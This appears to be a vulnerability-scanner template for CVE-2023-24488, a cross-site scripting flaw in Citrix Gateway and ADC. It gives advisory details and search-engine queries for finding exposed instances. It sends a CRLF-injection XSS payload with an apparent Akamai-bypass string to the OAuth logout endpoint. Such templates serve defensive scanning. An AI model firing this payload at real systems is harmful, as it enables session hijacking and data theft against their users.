id: CVE-2023-24488 info: name: Citrix Gateway and Citrix ADC - Cross-Site Scripting author: johnk3r,DhiyaneshDk severity: medium description: | Citrix ADC and Citrix Gateway versions before 13.1 and 13.1-45.61, 13.0 and 13.0-90.11, 12.1 and 12.1-65.35 contain a cross-site scripting vulnerability due to improper input validation. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability. reference: - https://support.citrix.com/article/CTX477714/citrix-adc-and-citrix-gateway-security-bulletin-for-cve202324487-cve202324488 - https://blog.assetnote.io/2023/06/29/citrix-xss-advisory/ - https://nvd.nist.gov/vuln/detail/CVE-2023-24488 - https://twitter.com/infosec_au/status/1674786106381070342 - https://twitter.com/bxmbn/status/1675250259608449026 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-24488 cwe-id: CWE-79 epss-score: 0.05227 epss-percentile: 0.93007 cpe: cpe:2.3:a:citrix:gateway:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: citrix product: gateway shodan-query: - title:"Citrix Gateway" - http.title:"citrix gateway" fofa-query: title="citrix gateway" google-query: intitle:"citrix gateway" tags: cve2023,cve,citrix,xss,adc http: - method: GET path: - '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E' - '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a' stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - - condition: or - type: word part: body words: - "Content-Type: text/html" - type: status status: - 302 # digest: 4a0a004730450220519ea0a910a71d0468f28b45ba408d92479c6d9475f80f5ee3d78a14ef061fe6022100c829b535a3c80899d9e626fc41a95764714592bd8dc12ac540792c8a8c3f89d4:922c64590222798bb761d5b6d8e72950